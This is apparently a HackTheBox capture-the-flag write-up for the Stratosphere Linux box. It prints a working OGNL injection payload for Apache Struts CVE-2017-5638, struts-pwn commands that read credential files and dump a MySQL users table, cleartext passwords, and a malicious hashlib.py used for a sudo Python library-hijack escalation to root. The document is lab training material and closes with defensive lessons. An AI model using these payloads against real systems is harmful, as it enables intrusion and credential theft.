HTB: Stratosphere Writeup
Stratosphere - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Stratosphere |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.64 |
| Author | linted |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐☆☆☆
Summary
Stratosphere is a Medium-difficulty Linux box that highlights a critical Apache Struts vulnerability (CVE-2017-5638) famously exploited in the 2017 Equifax breach. Initial access is obtained through OGNL injection in the Content-Type header, allowing command execution as the tomcat8 user. Credentials harvested from MySQL provide SSH access as user richard. Privilege escalation exploits a misconfigured sudo rule combined with Python library hijacking—creating a malicious hashlib.py module in the user’s home directory allows arbitrary code execution as root when a privileged script imports the library.
TL;DR: Apache Struts CVE-2017-5638 RCE → MySQL credential dump → SSH as richard → Python library hijacking via sudo NOPASSWD → root
Reconnaissance
Port Scanning
# Full TCP port scan with service detectionnmap -sC -sV -T4 -p- 10.10.10.64Results:
- 22/tcp - OpenSSH (version detection revealed standard SSH service)
- 80/tcp - Apache Tomcat/HTTP (hosting web application)
- 8080/tcp - Apache Tomcat (additional HTTP endpoint)
Service Enumeration
Web Application Analysis (Port 80/8080)
The Apache Tomcat server hosts the “Stratosphere” application. Directory fuzzing reveals a /Monitoring/ endpoint that redirects to:
http://10.10.10.64/Monitoring/example/Welcome.actionThe .action extension is a characteristic signature of Apache Struts—a Java-based MVC framework for building enterprise web applications. This immediately suggests potential exploitation via known Struts vulnerabilities.
Vulnerability Assessment
Apache Struts - CVE-2017-5638 (Critical)
The presence of Apache Struts raises the possibility of CVE-2017-5638, a remote code execution vulnerability in the Jakarta Multipart parser. This flaw allows attackers to execute arbitrary commands via a malicious Content-Type header containing OGNL (Object-Graph Navigation Language) expressions. The vulnerability was infamously exploited in the 2017 Equifax data breach affecting 147 million consumers.
Key characteristics:
- Affects Struts 2.3.5 through 2.3.31 and 2.5 through 2.5.10
- Exploitable without authentication
- Triggered during file upload parsing
- CVSS Score: 10.0 (Critical)
Initial Foothold
Exploitation Path
CVE-2017-5638: Apache Struts OGNL Injection
The attack leverages the struts-pwn exploit tool, which automates the injection of OGNL expressions through the Content-Type header:
# Clone the exploit frameworkgit clone https://github.com/mazen160/struts-pwncd struts-pwn
# Test command executionpython struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' -c 'id'How the exploit works:
The vulnerable Struts parser processes multipart form data and evaluates the Content-Type header. By injecting an OGNL expression like:
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}The server evaluates the expression, executing arbitrary system commands. The output is written directly to the HTTP response stream.
Firewall constraints:
Initial reverse shell attempts failed—the target has egress filtering that blocks outbound connections. The solution is to operate entirely through command execution output:
# Directory enumeration reveals database configurationpython struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' -c 'ls -la /var/lib/tomcat8/'
# Read database connection filepython struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' -c 'cat /var/lib/tomcat8/db_connect'Output:
[ssn_admin]user=ssn_adminpass=AWs64@on*&
[users]user=adminpass=adminMySQL Credential Extraction
Two sets of credentials were discovered. The admin:admin credentials provide access to MySQL:
# Query the database for user accountspython struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' \ -c 'mysql -u admin -padmin -e "use users; SELECT * FROM accounts;"'MySQL Output:
fullName password usernameRichard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richardThe password 9tc*rhKuG5TyXvUJOrE^5CK7k is a cleartext credential stored in the database.
SSH Access as Richard
# Authenticate with harvested credentialsssh richard@10.10.10.64# Password: 9tc*rhKuG5TyXvUJOrE^5CK7kUser flag capture:
richard@stratosphere:~$ cat user.txt<redacted>Privilege Escalation
Sudo Privileges Enumeration
richard@stratosphere:~$ sudo -lMatching Defaults entries for richard on stratosphere: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.pyAnalysis:
Richard can execute /home/richard/test.py as root using any Python interpreter (python* wildcard), without a password. However:
richard@stratosphere:~$ ls -la test.py-rw-r--r-- 1 root root 1507 Mar 19 2018 test.pyThe script is owned by root—richard cannot modify it directly.
Python Library Hijacking
Examining the privileged script:
richard@stratosphere:~$ cat test.py#!/usr/bin/python3import hashlib
def question(): q1 = input("Solve: <redacted>\n") md5 = hashlib.md5() md5.update(q1.encode()) if not md5.digest() == b']\xf0\x03\xe1\x00\xc8\t#\xec\x04\xd6Y3\xd3\x82\xcb': print("Sorry, that's not right") return # ... continues with more challengesKey vulnerability:
The script imports hashlib at the top. Python’s module resolution searches directories in this order:
- Current working directory (where the script is executed from)
- PYTHONPATH environment variable directories
- Standard library paths
Since sudo executes test.py from /home/richard/, creating a malicious hashlib.py in richard’s home directory causes Python to import the attacker-controlled module before the legitimate standard library module.
Exploitation:
# Create malicious hashlib.py in richard's home directoryrichard@stratosphere:~$ cat > hashlib.py << 'EOF'#!/usr/bin/python3# Malicious hashlib module - executed at import timeimport os
# Read the root flagwith open('/root/root.txt', 'r') as f: flag = f.read() print("ROOT FLAG: " + flag)
# Optional: spawn root shell# os.system('/bin/bash')EOFTrigger the hijack:
richard@stratosphere:~$ sudo /usr/bin/python3 /home/richard/test.pyHow it works:
sudoexecutestest.pyas root- Python’s import statement
import hashlibsearches for the module /home/richard/hashlib.pyis found before/usr/lib/python3.X/hashlib.py- The malicious module executes with root privileges at import time (before
test.py’s main code runs) - Root flag is read and displayed
Output:
ROOT FLAG: <redacted>Cleanup:
# Remove the malicious modulerichard@stratosphere:~$ rm hashlib.pyAttack Chain Summary
Apache Struts CVE-2017-5638 (OGNL Injection) → RCE as tomcat8 →MySQL credential extraction (admin:admin) → Database dump (richard's password) →SSH as richard → sudo python wildcard + library hijacking →Malicious hashlib.py import as root → Root flagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
struts-pwn | Automated exploitation of CVE-2017-5638 |
mysql (via RCE) | Database querying for credential extraction |
ssh | Remote access with harvested credentials |
| Python library hijacking | Privilege escalation via import-time code execution |
Key Learnings
Techniques Practiced
- CVE-2017-5638 exploitation: Leveraging OGNL injection in Apache Struts through crafted
Content-Typeheaders - Blind command execution: Operating without reverse shells due to egress filtering
- Credential harvesting: Extracting database credentials from configuration files
- SQL injection alternatives: Direct database queries via existing application access
- Python import mechanics: Understanding module resolution order and search paths
- Library hijacking: Exploiting CWD-first import behavior in scripting language interpreters
- Sudo misconfigurations: Identifying and exploiting overly permissive NOPASSWD rules
Lessons Learned
-
Framework identification is critical: The
.actionextension immediately indicated Apache Struts, narrowing the vulnerability search to a well-known CVE family. Understanding framework-specific artifacts accelerates enumeration. -
CVE-2017-5638 remains relevant: Despite being patched in 2017, this vulnerability persists in legacy systems. The Equifax breach demonstrated real-world impact—147 million records compromised due to delayed patching. Always check for Struts in enterprise Java environments.
-
Egress filtering requires adaptation: When reverse shells fail, pivot to data exfiltration through command output, DNS queries, or HTTP requests. The ability to operate “blind” is essential for restrictive network environments.
-
Configuration files are treasure troves:
db_connectcontained plaintext credentials. Always enumerate application directories (/var/lib/tomcat8/,/opt/,/srv/) for configuration files, connection strings, and API keys. -
Sudo wildcards expand attack surface: The
/usr/bin/python*wildcard permitted any Python version. Combined with the inability to modifytest.py, this appeared restrictive—but Python’s import behavior created an alternative path. When direct script modification fails, examine:- Imported modules (hijackable?)
- Environment variables (injectable?)
- Relative paths (controllable?)
-
Import-time execution is powerful: Unlike functions that require calling, Python code at module-level executes immediately upon import. This makes library hijacking more reliable than exploiting specific function calls within the script.
-
The current working directory matters: Many interpreted languages (Python, Perl, Ruby) prioritize CWD in their module search paths. If you control CWD when a privileged script runs, you can inject malicious libraries even without write access to system directories.
-
Defense-in-depth applies to sudo: The principle of least privilege should extend to:
- No wildcards in command specifications
- Absolute paths for imported modules (Python’s
-Iflag disables CWD search) - Whitelisting specific interpreter versions rather than patterns
- Read-only script directories owned by root with strict permissions
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - Stratosphere (Document No D18.100.19) by Alexander Reid (Arrexel)
- CVE-2017-5638: Apache Struts Remote Code Execution via Content-Type Header
- struts-pwn - Automated exploitation framework by @mazen160